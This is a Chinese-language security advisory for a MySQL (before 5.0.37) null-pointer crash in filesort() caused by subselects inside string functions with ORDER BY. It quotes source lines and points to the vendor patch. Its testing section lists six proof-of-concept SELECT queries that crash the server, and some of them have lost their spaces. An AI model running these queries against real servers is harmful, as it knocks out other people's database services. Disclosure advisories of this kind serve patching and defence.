受影響系統:
MySQL AB MySQL < 5.0.37
不受影響系統:
MySQL AB MySQL 5.0.37
描述:
BUGTRAQ ID: 22900
MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平台的運行版本。MySQL在處理特定畸形請求時存在漏洞,遠程攻擊者可能利用此漏洞在導致MySQL進程崩潰。
如果MySQL用戶在字符串函數中使用了子選擇的話,就會調用Item_singlerow_subselect::val_str()。由於無需分類整理單行子選擇的結果,因此不會初始化所分配結構st_table中的某些字段,具體來講是sort->io_cache字段。但如果在查詢中使用了 ORDER BY,就會對表格運行filesort(),filesort()中的錯誤處理例程在引用未初始化字段值出現段訪問錯誤:
libmysqld/filesort.cc:
111FILESORT_INFOtable_sort;
(...)
117memcpy(&table_sort,&table->sort,sizeof(FILESORT_INFO));
120outfile=table_sort.io_cache;
(..)
269err:
(..)
276if(my_b_inited(outfile))
include/my_sys.h:
503 #define my_b_inited(info) (info)->buffer
這可能會觸發空指針引用,導致mysqld崩潰。
<*來源:S.Streichsbier B.Mueller 鏈接:http://www.sec-consult.com/284.html*>
測試方法:
(警告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!)
SELECTASCII((SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
SELECTTRIM(LEADINGFROM(SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
SELECTSUBSTR((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,1);
SELECTUPPER((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
SELECTRTRIM((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
SELECTRPAD((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,'lol');
建議:
廠商補丁:
目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:
http://dev.mysql.com/downloads/mysql/5.0.html#downloads